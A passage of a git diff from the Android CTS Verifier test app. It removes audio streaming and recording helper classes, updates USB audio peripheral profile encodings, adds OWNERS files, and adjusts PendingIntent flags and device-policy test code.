-        if (!mPlaying && mAudioTrack != null) {
-            mPlaying = true;
-
-            waitForPlayerThreadToExit(); // just to be sure.
-
-            mPlayerThread = new Thread(new StreamPlayerRunnable(), "StreamPlayer Thread");
-            mPlayerThread.start();
-
-            return true;
-        }
-
-        return false;
-    }
-
-    public void stop() {
-        mPlaying = false;
-    }
-
-    //
-    // StreamPlayerRunnable
-    //
-    private class StreamPlayerRunnable implements Runnable {
-        @Override
-        public void run() {
-            final int numBurstSamples = mNumBurstFrames * mNumChans;
-
-            mAudioTrack.play();
-            while (true) {
-                boolean playing;
-                synchronized(this) {
-                    playing = mPlaying;
-                }
-                if (!playing) {
-                    break;
-                }
-
-                mFiller.fill(mBurstBuffer, mNumBurstFrames, mNumChans);
-                if (mChanGains != null) {
-                    applyChannelGains();
-                }
-                int numSamplesWritten =
-                        mAudioTrack.write(mBurstBuffer, 0, numBurstSamples, AudioTrack.WRITE_BLOCKING);
-                if (numSamplesWritten < 0) {
-                    // error
-                    Log.i(TAG, "AudioTrack write error: " + numSamplesWritten);
-                    stop();
-                } else if (numSamplesWritten < numBurstSamples) {
-                    // end of stream
-                    Log.i(TAG, "Stream Complete.");
-                    stop();
-                }
-            }
-        }
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorder.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorder.java
deleted file mode 100644
index 2ec742e..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorder.java
+++ /dev/null
@@ -1,241 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.audio.audiolib;
-
-import android.media.AudioDeviceInfo;
-import android.media.AudioFormat;
-import android.media.AudioRecord;
-
-import android.util.Log;
-
-import java.lang.Math;
-
-/**
- * Records audio data to a stream.
- */
-public class StreamRecorder {
-    @SuppressWarnings("unused")
-    private static final String TAG = "StreamRecorder";
-
-    // Sample Buffer
-    private float[] mBurstBuffer;
-    private int mNumBurstFrames;
-    private int mNumChannels;
-
-    // Recording attributes
-    private int mSampleRate;
-
-    // Recording state
-    Thread mRecorderThread = null;
-    private AudioRecord mAudioRecord = null;
-    private boolean mRecording = false;
-
-    private StreamRecorderListener mListener = null;
-
-    private AudioDeviceInfo mRoutingDevice = null;
-
-    public StreamRecorder() {}
-
-    public int getNumBurstFrames() { return mNumBurstFrames; }
-    public int getSampleRate() { return mSampleRate; }
-
-    /*
-     * State
-     */
-    public static int calcNumBufferBytes(int numChannels, int sampleRate, int encoding) {
-        // NOTE: Special handling of 4-channels. There is currently no AudioFormat positional
-        // constant for 4-channels of input, so in this case, calculate for 2 and double it.
-        int numBytes = 0;
-        if (numChannels == 4) {
-            numBytes = AudioRecord.getMinBufferSize(sampleRate, AudioFormat.CHANNEL_IN_STEREO,
-                    encoding);
-            numBytes *= 2;
-        } else {
-            numBytes = AudioRecord.getMinBufferSize(sampleRate,
-                    AudioUtils.countToInPositionMask(numChannels), encoding);
-        }
-
-        return numBytes;
-    }
-
-    public static int calcNumBufferFrames(int numChannels, int sampleRate, int encoding) {
-        return calcNumBufferBytes(numChannels, sampleRate, encoding) /
-                AudioUtils.calcFrameSizeInBytes(encoding, numChannels);
-    }
-
-    public boolean isInitialized() {
-        return mAudioRecord != null && mAudioRecord.getState() == AudioRecord.STATE_INITIALIZED;
-    }
-
-    public boolean isRecording() { return mRecording; }
-
-    public void setRouting(AudioDeviceInfo routingDevice) {
-        Log.i(TAG, "setRouting(" + (routingDevice != null ? routingDevice.getId() : -1) + ")");
-        mRoutingDevice = routingDevice;
-        if (mAudioRecord != null) {
-            mAudioRecord.setPreferredDevice(mRoutingDevice);
-        }
-    }
-
-    /*
-     * Accessors
-     */
-    public float[] getBurstBuffer() { return mBurstBuffer; }
-
-    public int getNumChannels() { return mNumChannels; }
-
-    /*
-     * Events
-     */
-    public void setListener(StreamRecorderListener listener) {
-        mListener = listener;
-    }
-
-    private void waitForRecorderThreadToExit() {
-        try {
-            if (mRecorderThread != null) {
-                mRecorderThread.join();
-                mRecorderThread = null;
-            }
-        } catch (InterruptedException e) {
-            e.printStackTrace();
-        }
-    }
-
-    private boolean open_internal(int numChans, int sampleRate) {
-        mNumChannels = numChans;
-        mSampleRate = sampleRate;
-
-        final int frameSize =
-                AudioUtils.calcFrameSizeInBytes(AudioFormat.ENCODING_PCM_FLOAT, mNumChannels);
-        final int bufferSizeInBytes = frameSize * 64;   // Some, non-critical value
-
-        AudioFormat.Builder formatBuilder = new AudioFormat.Builder();
-        formatBuilder.setEncoding(AudioFormat.ENCODING_PCM_FLOAT);
-        formatBuilder.setSampleRate(mSampleRate);
-
-        if (numChans <= 2) {
-            // There is currently a bug causing channel INDEX masks to fail.
-            // for channels counts of <= 2, use channel POSITION
-            final int chanPosMask = AudioUtils.countToInPositionMask(numChans);
-            formatBuilder.setChannelMask(chanPosMask);
-        } else {
-            // There are no INPUT channel-position masks for > 2 channels
-            final int chanIndexMask = AudioUtils.countToIndexMask(numChans);
-            formatBuilder.setChannelIndexMask(chanIndexMask);
-        }
-
-        AudioRecord.Builder builder = new AudioRecord.Builder();
-        builder.setAudioFormat(formatBuilder.build());
-
-        try {
-            mAudioRecord = builder.build();
-            return true;
-        } catch (UnsupportedOperationException ex) {
-            Log.e(TAG, "Couldn't open AudioRecord: " + ex);
-            mAudioRecord = null;
-            return false;
-        }
-    }
-
-    public boolean open(int numChans, int sampleRate, int numBurstFrames) {
-        boolean sucess = open_internal(numChans, sampleRate);
-        if (sucess) {
-            mNumBurstFrames = numBurstFrames;
-            mBurstBuffer = new float[mNumBurstFrames * mNumChannels];
-            // put some non-zero data in the burst buffer.
-            // this is to verify that the record is putting SOMETHING into each channel.
-            for(int index = 0; index < mBurstBuffer.length; index++) {
-                mBurstBuffer[index] = (float)(Math.random() * 2.0) - 1.0f;
-            }
-        }
-
-        return sucess;
-    }
-
-    public void close() {
-        stop();
-
-        waitForRecorderThreadToExit();
-
-        mAudioRecord.release();
-        mAudioRecord = null;
-    }
-
-    public boolean start() {
-        mAudioRecord.setPreferredDevice(mRoutingDevice);
-
-        if (mListener != null) {
-            mListener.sendEmptyMessage(StreamRecorderListener.MSG_START);
-        }
-
-        try {
-            mAudioRecord.startRecording();
-        } catch (IllegalStateException ex) {
-            Log.i("", "ex: " + ex);
-        }
-        mRecording = true;
-
-        waitForRecorderThreadToExit(); // just to be sure.
-
-        mRecorderThread = new Thread(new StreamRecorderRunnable(), "StreamRecorder Thread");
-        mRecorderThread.start();
-
-        return true;
-    }
-
-    public void stop() {
-        if (mRecording) {
-            mRecording = false;
-        }
-    }
-
-    /*
-     * StreamRecorderRunnable
-     */
-    private class StreamRecorderRunnable implements Runnable {
-        @Override
-        public void run() {
-            final int numBurstSamples = mNumBurstFrames * mNumChannels;
-            while (mRecording) {
-                int numReadSamples = mAudioRecord.read(
-                        mBurstBuffer, 0, numBurstSamples, AudioRecord.READ_BLOCKING);
-
-                if (numReadSamples < 0) {
-                    // error
-                    Log.i(TAG, "AudioRecord write error: " + numReadSamples);
-                    stop();
-                } else if (numReadSamples < numBurstSamples) {
-                    // got less than requested?
-                    Log.i(TAG, "AudioRecord Underflow: " + numReadSamples +
-                            " vs. " + numBurstSamples);
-                    stop();
-                }
-
-                if (mListener != null && numReadSamples == numBurstSamples) {
-                    mListener.sendEmptyMessage(StreamRecorderListener.MSG_BUFFER_FILL);
-                }
-            }
-
-            if (mListener != null) {
-                // TODO: on error or underrun we may be send bogus data.
-                mListener.sendEmptyMessage(StreamRecorderListener.MSG_STOP);
-            }
-            mAudioRecord.stop();
-        }
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorderListener.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorderListener.java
deleted file mode 100644
index c542432..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorderListener.java
+++ /dev/null
@@ -1,44 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.audio.audiolib;
-
-import android.os.Handler;
-import android.os.Looper;
-import android.os.Message;
-
-public class StreamRecorderListener extends Handler {
-    @SuppressWarnings("unused")
-    private static final String TAG = "StreamRecorderListener";
-
-    public static final int MSG_START = 0;
-    public static final int MSG_BUFFER_FILL = 1;
-    public static final int MSG_STOP = 2;
-
-    public StreamRecorderListener(Looper looper) {
-        super(looper);
-    }
-
-    @Override
-    public void handleMessage(Message msg) {
-        switch (msg.what) {
-            case MSG_START:
-            case MSG_BUFFER_FILL:
-            case MSG_STOP:
-                break;
-        }
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/WaveTableFloatFiller.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/WaveTableFloatFiller.java
deleted file mode 100644
index 1040eab..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/WaveTableFloatFiller.java
+++ /dev/null
@@ -1,89 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.audio.audiolib;
-
-/**
- * A AudioFiller implementation for feeding data from a PCMFLOAT wavetable.
- */
-public class WaveTableFloatFiller implements AudioFiller {
-    @SuppressWarnings("unused")
-    private static String TAG = "WaveTableFloatFiller";
-
-    private float[] mWaveTbl = null;
-    private int mNumWaveTblSamples = 0;
-    private float mSrcPhase = 0.0f;
-
-    private float mSampleRate = 48000;
-    private float mFreq = 1000; // some arbitrary frequency
-    private float mFN = 1.0f;   // The "nominal" frequency, essentially how much much of the
-                                // wave table needs to be played to get one cycle at the
-                                // sample rate. Used to calculate the phase increment
-
-    public WaveTableFloatFiller(float[] waveTbl) {
-        setWaveTable(waveTbl);
-    }
-
-    private void calcFN() {
-        mFN = mSampleRate / (float)mNumWaveTblSamples;
-    }
-
-    public void setWaveTable(float[] waveTbl) {
-        mWaveTbl = waveTbl;
-        mNumWaveTblSamples = waveTbl != null ? mWaveTbl.length - 1 : 0;
-
-        calcFN();
-    }
-
-    public void setSampleRate(float sampleRate) {
-        mSampleRate = sampleRate;
-        calcFN();
-    }
-
-    public void setFreq(float freq) {
-        mFreq = freq;
-    }
-
-    @Override
-    public void reset() {
-        mSrcPhase = 0.0f;
-    }
-
-    public int fill(float[] buffer, int numFrames, int numChans) {
-        final float phaseIncr = mFreq / mFN;
-        int outIndex = 0;
-        for (int frameIndex = 0; frameIndex < numFrames; frameIndex++) {
-            // 'mod' back into the waveTable
-            while (mSrcPhase >= (float)mNumWaveTblSamples) {
-                mSrcPhase -= (float)mNumWaveTblSamples;
-            }
-
-            // linear-interpolate
-            int srcIndex = (int)mSrcPhase;
-            float delta0 = mSrcPhase - (float)srcIndex;
-            float delta1 = 1.0f - delta0;
-            float value = ((mWaveTbl[srcIndex] * delta0) + (mWaveTbl[srcIndex + 1] * delta1));
-
-            for (int chanIndex = 0; chanIndex < numChans; chanIndex++) {
-                buffer[outIndex++] = value;
-            }
-
-            mSrcPhase += phaseIncr;
-        }
-
-        return numFrames;
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java
index b62a986..3b11c4c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java
@@ -48,46 +48,46 @@
         "<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>" +
             "<ProfileList Version=\"1.0.0\">" +
             "<PeripheralProfile ProfileName=\"Google USB-C Headset\" ProfileDescription=\"Google USB-C Headset\" ProductName=\"USB-Audio - Pixel USB-C earbuds\">" +
-                "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000\" />" +
+                "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"21,4\" SampleRates=\"44100,48000\" />" +
                 "<InputDevInfo ChanCounts=\"1\" ChanPosMasks=\"16\" ChanIndexMasks=\"1\" Encodings=\"2\" SampleRates=\"44100,48000\" />" +
                 "<ButtonInfo HasBtnA=\"1\" HasBtnB=\"1\" HasBtnC=\"1\" HasBtnD=\"0\" />" +
             "</PeripheralProfile>" +
             "<PeripheralProfile ProfileName=\"AudioBox USB 96\" ProfileDescription=\"PreSonus AudioBox USB 96\" ProductName=\"USB-Audio - AudioBox USB 96\">" +
-                "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\"/>" +
-                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\"/>" +
+                "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"22,4\" SampleRates=\"44100,48000,88200,96000\"/>" +
+                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3\" Encodings=\"22,4\" SampleRates=\"44100,48000,88200,96000\"/>" +
             "</PeripheralProfile>" +
             "<PeripheralProfile ProfileName=\"AudioBox 44VSL\" ProfileDescription=\"Presonus AudioBox 44VSL\" ProductName=\"USB-Audio - AudioBox 44 VSL\">" +
-                "<OutputDevInfo ChanCounts=\"2,3,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"3,7,15\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" +
-                "<InputDevInfo ChanCounts=\"1,2,3,4\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3,7,15\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" +
+                "<OutputDevInfo ChanCounts=\"2,3,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"3,7,15\" Encodings=\"21,4\" SampleRates=\"44100,48000,88200,96000\" />" +
+                "<InputDevInfo ChanCounts=\"1,2,3,4\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3,7,15\" Encodings=\"21,4\" SampleRates=\"44100,48000,88200,96000\" />" +
             "</PeripheralProfile>" +
             "<PeripheralProfile ProfileName=\"AudioBox 22VSL\" ProfileDescription=\"Presonus AudioBox 22VSL\" ProductName=\"USB-Audio - AudioBox 22 VSL\">" +
-                "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" +
-                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" +
+                "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"21,4\" SampleRates=\"44100,48000,88200,96000\" />" +
+                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3\" Encodings=\"21,4\" SampleRates=\"44100,48000,88200,96000\" />" +
             "</PeripheralProfile>" +
             "<PeripheralProfile ProfileName=\"AudioBox USB\" ProfileDescription=\"Presonus AudioBox USB\" ProductName=\"USB-Audio - AudioBox USB\">" +
-                "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000\" />" +
-                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000\" />" +
+                "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"21,4\" SampleRates=\"44100,48000\" />" +
+                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3\" Encodings=\"21,4\" SampleRates=\"44100,48000\" />" +
             "</PeripheralProfile>" +
             "<PeripheralProfile ProfileName=\"Focusrite 2i4\" ProfileDescription=\"Focusrite Scarlett 2i4\" ProductName=\"USB-Audio - Scarlett 2i4 USB\">" +
-                "<OutputDevInfo ChanCounts=\"2,3,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"3,7,15\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\"/>" +
-                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\"/>" +
+                "<OutputDevInfo ChanCounts=\"2,3,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"3,7,15\" Encodings=\"21,4\" SampleRates=\"44100,48000,88200,96000\"/>" +
+                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3\" Encodings=\"21,4\" SampleRates=\"44100,48000,88200,96000\"/>" +
             "</PeripheralProfile>" +
             "<PeripheralProfile ProfileName=\"Behringer UMC204HD\" ProfileDescription=\"Behringer UMC204HD\" ProductName=\"USB-Audio - UMC204HD 192k\">" +
-                "<OutputDevInfo ChanCounts=\"2,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"15\" Encodings=\"2,4\" SampleRates=\"44100,48000,88200,96000,176400,192000\"/>" +
-                "<InputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000,176400,192000\"/>" +
+                "<OutputDevInfo ChanCounts=\"2,3,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"3,7,15\" Encodings=\"22,4\" SampleRates=\"44100,48000,88200,96000,176400,192000\"/>" +
+                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"16,12\" ChanIndexMasks=\"1,3\" Encodings=\"22,4\" SampleRates=\"44100,48000,88200,96000,176400,192000\"/>" +
             "</PeripheralProfile>" +
             "<PeripheralProfile ProfileName=\"Roland Rubix24\" ProfileDescription=\"Roland Rubix24\" ProductName=\"USB-Audio - Rubix24\">" +
                 "<OutputDevInfo ChanCounts=\"2,3,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"3,7,15\" Encodings=\"4\" SampleRates=\"44100,48000,96000,192000\"/>" +
                 "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000,96000,192000\"/>" +
             "</PeripheralProfile>" +
             "<PeripheralProfile ProfileName=\"Pixel USB-C Dongle + Wired Analog Headset\" ProfileDescription=\"Reference USB Dongle\" ProductName=\"USB-Audio - USB-C to 3.5mm-Headphone Adapte\">" +
-                "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"48000\" />" +
-                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"48000\" />" +
+                "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"21,4\" SampleRates=\"48000\" />" +
+                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"3\" Encodings=\"21,4\" SampleRates=\"48000\" />" +
                 "<ButtonInfo HasBtnA=\"1\" HasBtnB=\"1\" HasBtnC=\"1\" />" +
             "</PeripheralProfile>" +
             "<PeripheralProfile ProfileName=\"HTC Dongle\" ProfileDescription=\"Type-C to 3.5mm Headphone\" ProductName=\"USB-Audio - HTC Type-C to 3.5mm Headphone J\">" +
-                "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"48000\" />" +
-                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"48000\"/>" +
+                "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"21,4\" SampleRates=\"48000\" />" +
+                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"3\" Encodings=\"21,4\" SampleRates=\"48000\"/>" +
                 "<ButtonInfo HasBtnA=\"1\" HasBtnB=\"1\" HasBtnC=\"1\" />" +
             "</PeripheralProfile>" +
             "<PeripheralProfile ProfileName=\"JBL Reflect Aware\" ProfileDescription=\"JBL Reflect Aware\" ProductName=\"USB-Audio - JBL Reflect Aware\">" +
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/battery/OWNERS b/apps/CtsVerifier/src/com/android/cts/verifier/battery/OWNERS
new file mode 100644
index 0000000..854a7f4
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/battery/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 330055
+omakoto@google.com
+kwekua@google.com
+yamasani@google.com
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/displaycutout/OWNERS b/apps/CtsVerifier/src/com/android/cts/verifier/displaycutout/OWNERS
new file mode 100644
index 0000000..545d263
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/displaycutout/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 339570
+roosa@google.com
+shawnlin@google.com
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/forcestop/RecentTaskRemovalTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/forcestop/RecentTaskRemovalTestActivity.java
index 0718d41..50d5f21 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/forcestop/RecentTaskRemovalTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/forcestop/RecentTaskRemovalTestActivity.java
@@ -121,12 +121,12 @@
                     .setPackage(getPackageName())
                     .addFlags(Intent.FLAG_RECEIVER_REGISTERED_ONLY);
             final PendingIntent onTaskRemoved = PendingIntent.getBroadcast(this, 0,
-                    reportTaskRemovedIntent, 0);
+                    reportTaskRemovedIntent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
             final Intent reportAlarmIntent = new Intent(ACTION_REPORT_ALARM)
                     .setPackage(getPackageName())
                     .addFlags(Intent.FLAG_RECEIVER_REGISTERED_ONLY);
-            final PendingIntent onAlarm = PendingIntent.getBroadcast(this, 0, reportAlarmIntent, 0);
+            final PendingIntent onAlarm = PendingIntent.getBroadcast(this, 0, reportAlarmIntent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
             final Intent testActivity = new Intent()
                     .setClassName(HELPER_APP_NAME, HELPER_ACTIVITY_NAME)
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodProvisioningTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodProvisioningTestActivity.java
index 8f4b9ac..3242893 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodProvisioningTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodProvisioningTestActivity.java
@@ -15,12 +15,11 @@
  */
 package com.android.cts.verifier.managedprovisioning;
 
-import android.app.admin.DevicePolicyManager;
 import android.app.Activity;
+import android.app.admin.DevicePolicyManager;
 import android.content.ComponentName;
 import android.content.ContentResolver;
 import android.content.Intent;
-import android.graphics.Color;
 import android.net.Uri;
 import android.os.Bundle;
 import android.os.PersistableBundle;
@@ -39,12 +38,6 @@
 
         final ArrayTestListAdapter adapter = new ArrayTestListAdapter(this);
 
-        Intent colorIntent = new Intent(this, ProvisioningStartingActivity.class)
-                .putExtra(DevicePolicyManager.EXTRA_PROVISIONING_MAIN_COLOR, Color.GREEN);
-        adapter.add(Utils.createInteractiveTestItem(this, "BYOD_CustomColor",
-                        R.string.provisioning_tests_byod_custom_color,
-                        R.string.provisioning_tests_byod_custom_color_info,
-                        new ButtonInfo(R.string.go_button_text, colorIntent)));
         adapter.add(Utils.createInteractiveTestItem(this, "BYOD_CustomImage",
                         R.string.provisioning_tests_byod_custom_image,
                         R.string.provisioning_tests_byod_custom_image_info,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
index 8a7b624..7a24c09 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
@@ -17,7 +17,6 @@
 package com.android.cts.verifier.managedprovisioning;
 
 import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_HOME;
-import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_OVERVIEW;
 import static android.app.admin.DevicePolicyManager.MAKE_USER_EPHEMERAL;
 import static android.app.admin.DevicePolicyManager.SKIP_SETUP_WIZARD;
 
@@ -48,6 +47,7 @@
 import android.view.inputmethod.InputMethodManager;
 import android.widget.Toast;
 
+import com.android.bedstead.dpmwrapper.TestAppSystemServiceFactory;
 import com.android.cts.verifier.R;
 
 import java.io.File;
@@ -186,8 +186,8 @@
         super.onCreate(savedInstanceState);
         final Intent intent = getIntent();
         try {
-            mDpm = (DevicePolicyManager) getSystemService(
-                    Context.DEVICE_POLICY_SERVICE);
+            mDpm = TestAppSystemServiceFactory.getDevicePolicyManager(this,
+                    DeviceAdminTestReceiver.class);
             mUm = (UserManager) getSystemService(Context.USER_SERVICE);
             mAdmin = DeviceAdminTestReceiver.getReceiverComponentName();
             final String command = getIntent().getStringExtra(EXTRA_COMMAND);
@@ -269,10 +269,20 @@
                 } break;
                 case COMMAND_REMOVE_DEVICE_OWNER: {
                     if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+                        Log.e(TAG, COMMAND_REMOVE_DEVICE_OWNER + ": " + getPackageName()
+                                + " is not DO for user " + getUserId());
                         return;
                     }
                     clearAllPoliciesAndRestrictions();
                     mDpm.clearDeviceOwnerApp(getPackageName());
+
+                    // TODO(b/179100903): temporarily removing PO, should be done automatically
+                    if (UserManager.isHeadlessSystemUserMode()) {
+                        Log.i(TAG, "Disabling PO on user " + getUserId());
+                        DevicePolicyManager localDpm = getSystemService(DevicePolicyManager.class);
+                        localDpm.clearProfileOwner(mAdmin);
+                    }
+
                 } break;
                 case COMMAND_REQUEST_BUGREPORT: {
                     if (!mDpm.isDeviceOwnerApp(getPackageName())) {
@@ -513,11 +523,13 @@
     }
 
     private void installHelperPackage() throws Exception {
+        LogAndSelfUnregisterBroadcastReceiver.register(this, ACTION_INSTALL_COMPLETE);
         final PackageInstaller packageInstaller = getPackageManager().getPackageInstaller();
         final PackageInstaller.Session session = packageInstaller.openSession(
                 packageInstaller.createSession(new PackageInstaller.SessionParams(
                         PackageInstaller.SessionParams.MODE_FULL_INSTALL)));
         final File file = new File(HELPER_APP_LOCATION);
+        Log.i(TAG, "installing helper package from " + file);
         final InputStream in = new FileInputStream(file);
         final OutputStream out = session.openWrite("CommandReceiverActivity", 0, file.length());
         final byte[] buffer = new byte[65536];
@@ -528,15 +540,20 @@
         session.fsync(out);
         in.close();
         out.close();
-        session.commit(PendingIntent.getBroadcast(this, 0, new Intent(ACTION_INSTALL_COMPLETE), 0)
+        session.commit(PendingIntent
+                .getBroadcast(this, 0, new Intent(ACTION_INSTALL_COMPLETE),
+                        PendingIntent.FLAG_MUTABLE_UNAUDITED)
                 .getIntentSender());
     }
 
     private void uninstallHelperPackage() {
+        LogAndSelfUnregisterBroadcastReceiver.register(this, ACTION_UNINSTALL_COMPLETE);
+        PackageInstaller packageInstaller = getPackageManager().getPackageInstaller();
+        Log.i(TAG, "Uninstalling package " + HELPER_APP_PKG + " using " + packageInstaller);
         try {
-            getPackageManager().getPackageInstaller().uninstall(HELPER_APP_PKG,
-                    PendingIntent.getBroadcast(this, 0, new Intent(ACTION_UNINSTALL_COMPLETE), 0)
-                            .getIntentSender());
+            packageInstaller.uninstall(HELPER_APP_PKG, PendingIntent.getBroadcast(this,
